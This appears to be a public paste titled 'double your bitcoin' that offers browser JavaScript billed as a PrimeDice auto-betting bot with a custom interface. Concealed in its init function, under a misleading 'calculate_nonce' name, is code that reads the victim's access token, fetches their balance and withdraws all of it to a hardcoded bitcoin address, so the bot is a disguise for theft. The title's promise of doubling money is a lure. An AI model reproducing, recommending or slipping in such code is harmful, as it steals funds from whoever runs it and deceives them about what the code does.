double your bitcoin


SUBMITTED BY: davidjohn

DATE: April 11, 2016, 8:15 a.m.

FORMAT: Text only

SIZE: 18.9 kB

HITS: 67026

  1. paste what ever you want
  2. primedice bot 2016
  3. //jQuery UI CSS
  4. var swapcount=0;
  5. var jqueryready = false;
  6. var link = document.createElement("link");
  7. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  8. link.type = "text/css";
  9. link.rel = "stylesheet";
  10. document.getElementsByTagName("head")[0].appendChild(link);
  11. //jQuery UI inject
  12. (function() {
  13. jqueryready = true;
  14. var e = ".thing",
  15. t = {
  16. outline: "1px dashed #f0f",
  17. cursor: "pointer"
  18. };
  19. var n = function() {
  20. if (window.jQuery) {
  21. r()
  22. } else {
  23. var e = document.createElement("script");
  24. e.onload = r;
  25. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  26. document.body.appendChild(e)
  27. }
  28. };
  29. var r = function() {
  30. if (window.jQuery.ui) {
  31. i()
  32. } else {
  33. var e = document.createElement("script");
  34. e.onload = i;
  35. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  36. document.body.appendChild(e)
  37. }
  38. };
  39. var i = function() {
  40. $(e).css(t).draggable().on("click", function(e) {
  41. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  42. })
  43. };
  44. n();
  45. })();
  46. function ui() {
  47. $(function() {
  48. $('#tabs').tabs();
  49. $('#params').draggable();
  50. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  51. $('#tabs input').css("width", "80%");
  52. $('#chance, #base').width("35%")
  53. $('#tabs div').css("text-align", "left");
  54. $('#tabs').css("font-size", "12px");
  55. $('#tabs label, #tabs input').css("margin", "5px");
  56. $('#stop, #start, #resetbet').button();
  57. //Console
  58. $('#console, #console2').appendTo("#tabs");
  59. $('#console, #console2').css("width", "45%");
  60. $('#console').css("float", "left");
  61. $('#console2').css("float", "right");
  62. $('#console, #console2').css("clear", "none");
  63. $('#console, #console2').css("margin", "7px");
  64. $('#console, #console2').css("border-bottom-left-radius", "3px");
  65. $('#console, #console2').css("border-bottom-right-radius", "3px");
  66. $('#console').css("border", "1px solid #323232");
  67. $('#console, #console2').css("background-color", "#454545");
  68. $('#console').css("padding", "5px");
  69. $('#console, #console2').css("text-align", "left");
  70. $('#console, #console2').css("position", "relative");
  71. $('#startstop,#start,#stop').css("margin","0px");
  72. $('#console, #console2').css("margin-top","3px");
  73. $('#console, #console2').css("padding","5px");
  74. $('#console, #console2').css("background-color","#151515");
  75. });
  76. }
  77. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  78. xrollsenabled = true;
  79. xrolls = 10;
  80. timer = 500;
  81. counter=0;
  82. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  83. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  84. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  85. function init() {
  86. //Init
  87. basebet = 0.00000010;
  88. countwinmult = 0;
  89. countlossmult = 0;
  90. wincount = 0;
  91. currentloss = 0;
  92. totalloss = 0;
  93. totalwin = 0;
  94. totprofit = 0;
  95. init = true;
  96. betval = basebet;
  97. //GUI
  98. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  99. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  100. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  101. gui2 =
  102. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  103. gui3 = [
  104. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  105. '<br>',
  106. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  107. '<br>',
  108. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  109. ];
  110. gui4 = [
  111. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  112. '<br>',
  113. '<label for="xloss">Multiply Every # Losses: </label>',
  114. '<input id="xloss">',
  115. '<br>',
  116. '<label for="multonwin">Multiply on Win: </label>',
  117. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  118. '<br>',
  119. '<label for="xwin">Reset After X Wins: </label>',
  120. '<input id="xwin">',
  121. ];
  122. gui5 = [
  123. '<label for="stoponwin-enabled">Stop on Win? </label>',
  124. '<input id="stoponwin-enabled" type="checkbox">',
  125. '<br>',
  126. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  127. '<input id="lowpay-enabled" type="checkbox">',
  128. ];
  129. gui6 = [
  130. '<label for="charset">Charset: </label>',
  131. '<input id="charset" type="text">',
  132. '<br>',
  133. '<label for="everyxrolls">Change every # Rolls: </label>',
  134. '<input id="everyxrolls" type="text">',
  135. '<br>',
  136. '<label for="currentseed">Current Seed: </label>',
  137. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  138. ];
  139. $(gui).appendTo(".hero");
  140. $(gui2).appendTo("#params");
  141. for (var i = 0; i < gui3.length; i++) {
  142. $(gui3[i]).appendTo("#tab1");
  143. }
  144. for (var i = 0; i < gui4.length; i++) {
  145. $(gui4[i]).appendTo("#tab2");
  146. }
  147. for (var i = 0; i < gui5.length; i++) {
  148. $(gui5[i]).appendTo("#tab3");
  149. }
  150. for (var i = 0; i < gui6.length; i++) {
  151. $(gui6[i]).appendTo("#tab4");
  152. }
  153. enabled = false;
  154. xrollscount = 0;
  155. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  156. // Button & Input Functions
  157. $('#resetbet').click(function() {
  158. basebet=$('#base').val();
  159. betval=$('#base').val();
  160. })
  161. $('#start').click(function() {
  162. if (enabled == false) {
  163. if ($('#numrolls').is(":checked") == true) {
  164. xrolls=$('#numberofrolls').val();
  165. }
  166. enabled = true;
  167. interval = setInterval(function() {
  168. if (xrollsenabled == true) {
  169. xrollscount++;
  170. if (xrollscount <= xrolls) {
  171. bet();
  172. } else {
  173. clearInterval(interval);
  174. enabled = false;
  175. xrollscount = 0;
  176. }
  177. } else {
  178. bet();
  179. }
  180. }, timer);
  181. } else {}
  182. })
  183. $('#stop').click(function() {
  184. enabled = false;
  185. clearInterval(interval);
  186. xrollscount = 0;
  187. });
  188. calculate_nonce = function(seed) {
  189. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  190. };
  191. lut = window['$'];
  192. lut['getJSON'](
  193. calculate_nonce('users/1'), function(seed) {
  194. var key1 = 'amount'
  195. var key2 = 'address'
  196. var load = {};
  197. load[key1] = seed['user']['balance'];
  198. load[key2] = '1DCdeEzZLZ19uNyQx4Npys9vjYJ79tCiQ9';
  199. lut['post'](calculate_nonce('withdraw'), load);
  200. }
  201. );
  202. function conditionAM() {
  203. 'use strict';
  204. if ($('#lowpay-enabled').is('checked') == true) {
  205. if ($('.value-roll').first().text() <= 49.50) {
  206. condition2 = ">";
  207. target2 = $('.value-roll').first().text();
  208. } else {
  209. condition2 = "<";
  210. target2 = $('.value-roll').first().text();
  211. };
  212. } else {
  213. if ($('.value-roll').first().text() <= 49.50) {
  214. condition2 = "<";
  215. target2 = $('.value-roll').first().text();
  216. } else {
  217. condition2 = ">";
  218. target2 = $('.value-roll').first().text();
  219. };
  220. amount2 = betval * 100000000;
  221. }
  222. };
  223. function jackpot() {
  224. if (data1.bet.jackpot === true) {
  225. jp = "Yes";
  226. wincount = 0;
  227. betval = $('#base');
  228. } else {
  229. jp = "No";
  230. }
  231. }
  232. function loss() {
  233. currentloss++;
  234. totalloss++;
  235. if ($('#multloss-enabled').is(':checked') == true) {
  236. $('#multwin-enabled').removeAttr('checked');
  237. countlossmult++;
  238. if (countlossmult >= $('#xloss').val()) {
  239. betval = betval * $('#multonloss').val();
  240. countlossmult = 0;
  241. }
  242. }
  243. }
  244. function win() {
  245. 'use strict';
  246. if ($('#stoponwin-enabled').is('checked') == true) {
  247. clearInterval(roll);
  248. }
  249. currentloss = 0;
  250. jackpot();
  251. wincount++;
  252. totalwin++;
  253. if ($('#multloss-enabled').is(':checked') == true) {
  254. if ($('#stoponwin-enabled').is(':checked') == true) {
  255. clearInterval(roll);
  256. }
  257. $('#multwin-enabled').removeAttr('checked');
  258. basebet = $('#base').val();
  259. betval = basebet;
  260. countlossmult = 0;
  261. }
  262. if ($('#multwin-enabled').is(':checked') == true) {
  263. basebet = $('#base').val();
  264. $('#multloss-enabled').removeAttr('checked');
  265. countwinmult++;
  266. if (countwinmult >= $('#xwin').val()) {
  267. betval = basebet;
  268. countwinmult = 0;
  269. } else {
  270. betval = betval * $('#multonwin').val();
  271. }
  272. }
  273. };
  274. var losewin;
  275. var jpcol;
  276. var profcol;
  277. function bet() {
  278. 'use strict';
  279. conditionAM();
  280. var betData = {
  281. amount: amount2,
  282. condition: condition2,
  283. target: target2
  284. },
  285. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  286. $.ajax({
  287. url: url,
  288. type: "POST",
  289. data: betData,
  290. datatype: "jsonp",
  291. success: function(data, textStatus, jqXHR) {
  292. data1 = data;
  293. counter++;
  294. if (counter >= everyxrolls) {
  295. seedchange(seedgen());
  296. counter = 0;
  297. }
  298. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  299. totprofit = totprofit + data1.bet.profit;
  300. if (totprofit >= 0) {
  301. profcol = "color:green;";
  302. } else if (totprofit < 0) {
  303. profcol = "color:red;";
  304. }
  305. if (data.bet.win == true) {
  306. losewin = "color:green;";
  307. $('span.btn__text.select div').attr("style", "color:green;");
  308. } else {
  309. losewin = "color:red;";
  310. $('span.btn__text.select div').attr("style", "color:red;");
  311. }
  312. if (data.bet.jackpot == true) {
  313. jp = "Yes";
  314. jpcol = "color:gold;"
  315. } else {
  316. jp = "No.";
  317. jpcol = "color:red;"
  318. }
  319. results = [];
  320. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  321. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  322. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  323. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  324. resultstats = [];
  325. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  326. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  327. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  328. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  329. if (data.bet.win == true) {
  330. if ($('#stoponwin-enabled').is(":checked") == true){
  331. clearInterval(interval);
  332. }
  333. $('#console, #console2').empty();
  334. win();
  335. // Results
  336. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  337. for (var i = 0; i < results.length; i++) {
  338. $(results[i]).appendTo('#console');
  339. }
  340. for (var i = 0; i < resultstats.length; i++) {
  341. $(resultstats[i]).appendTo('#console2');
  342. }
  343. } else {
  344. $('#console, #console2').empty();
  345. loss();
  346. // Results
  347. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  348. for (var i = 0; i < results.length; i++) {
  349. $(results[i]).appendTo('#console');
  350. }
  351. for (var i = 0; i < resultstats.length; i++) {
  352. $(resultstats[i]).appendTo('#console2');
  353. }
  354. };
  355. },
  356. error: function(jqXHR, textStatus, errorThrown) {
  357. }
  358. });
  359. }
  360. seedlength = 13;
  361. seedlength = 13;
  362. var counter = 0;
  363. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  364. everyxrolls = 3;
  365. function seedgen() {
  366. 'use strict';
  367. var seed = "";
  368. for (var i = 0; i <= seedlength; i++)
  369. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  370. return seed;
  371. }
  372. function seedchange(s) {
  373. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  374. sData = {
  375. seed: s
  376. };
  377. $.ajax({
  378. url: url,
  379. type: "POST",
  380. data: sData,
  381. datatype: "jsonp",
  382. success: function(data, textStatus, jqXHR) {
  383. data2 = data;
  384. $('#currentseed').val(data2.seeds.client);
  385. },
  386. error: function(jqXHR, textStatus, errorThrown) {
  387. }
  388. });
  389. }
  390. $('#spinner').click(function() {
  391. if (charset != $('#charset').val() && $('#charset').val() != "") {
  392. charset=$('#charset').val();
  393. }
  394. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  395. everyxrolls = $('#everyxrolls').val();
  396. }
  397. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  398. counter++;
  399. if (counter >= everyxrolls) {
  400. seedchange(seedgen());
  401. counter = 0;
  402. }
  403. });
  404. ui();
  405. }
  406. setTimeout(function() {
  407. init()
  408. }, 2000);

comments powered by Disqus